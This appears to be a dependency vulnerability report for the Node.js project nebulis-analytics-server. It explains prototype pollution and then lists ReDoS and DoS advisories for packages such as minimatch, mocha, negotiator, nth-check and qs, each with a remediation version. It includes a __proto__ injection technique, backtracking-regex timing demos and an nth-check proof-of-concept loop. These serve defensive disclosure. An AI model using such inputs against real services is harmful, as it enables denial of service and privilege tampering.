Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.17 or higher.
References
high severity
- Vulnerable module: method-override
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › method-override@2.3.5Remediation: Upgrade to sails@1.0.0.
Overview
method-override is a module to override HTTP verbs.
Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS). It uses regex the following regex / *, */ in order to split HTTP headers. An attacker may send specially crafted input in the X-HTTP-Method-Override header and cause a significant slowdown.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade method-override to version 2.3.10 or higher.
References
high severity
- Vulnerable module: minimatch
- Introduced through: grunt-sync@0.5.2, sails@0.12.14 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › glob@3.2.11 › minimatch@0.3.0
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via complicated and illegal regexes.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch to version 3.0.2 or higher.
References
high severity
- Vulnerable module: minimatch
- Introduced through: grunt-sync@0.5.2, sails@0.12.14 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › glob@3.2.11 › minimatch@0.3.0Remediation: Open PR to patch minimatch@0.3.0.
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch to version 3.0.2 or higher.
References
high severity
- Vulnerable module: mocha
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › mocha@3.5.3Remediation: Upgrade to mocha@10.1.0.
Overview
mocha is a javascript test framework for node.js & the browser.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the clean function in utils.js.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mocha to version 10.1.0 or higher.
References
high severity
- Vulnerable module: mocha
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › mocha@3.5.3Remediation: Upgrade to mocha@6.0.0.
Overview
mocha is a javascript test framework for node.js & the browser.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If the stack trace in utils.js begins with a large error message (>= 20k characters), and full-trace is not undisabled, utils.stackTraceFilter() will take exponential time to run.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mocha to version 6.0.0 or higher.
References
high severity
- Vulnerable module: negotiator
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › negotiator@0.2.8Remediation: Open PR to patch negotiator@0.2.8.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › compression@1.5.2 › accepts@1.2.13 › negotiator@0.5.3Remediation: Open PR to patch negotiator@0.5.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-index@1.7.3 › accepts@1.2.13 › negotiator@0.5.3Remediation: Open PR to patch negotiator@0.5.3.
Overview
negotiator is an HTTP content negotiator for Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)
when parsing Accept-Language http header.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade negotiator to version 0.6.1 or higher.
References
high severity
- Vulnerable module: nth-check
- Introduced through: enzyme@2.9.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › enzyme@2.9.1 › cheerio@0.22.0 › css-select@1.2.0 › nth-check@1.0.2Remediation: Upgrade to enzyme@3.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when parsing crafted invalid CSS nth-checks, due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? in RE_NTH_ELEMENT with quantified overlapping adjacency.
PoC
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade nth-check to version 2.0.1 or higher.
References
high severity
- Vulnerable module: parsejson
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › engine.io-client@1.8.3 › parsejson@0.0.3
Overview
parsejson is a method that parses a JSON string and returns a JSON object.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. An attacker may pass a specially crafted JSON data, causing the server to hang.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for parsejson.
References
high severity
- Vulnerable module: qs
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › qs@0.6.5Remediation: Open PR to patch qs@0.6.5.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Denial of Service (DoS).
During parsing, the qs module may create a sparse area (an array where no elements are filled), and grow that array to the necessary size based on the indices used on it. An attacker can specify a high index value in a query string, thus making the server allocate a respectively big array. Truly large values can cause the server to run out of memory and cause it to crash - thus enabling a Denial-of-Service attack.
Remediation
Upgrade qs to version 1.0.0 or higher.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
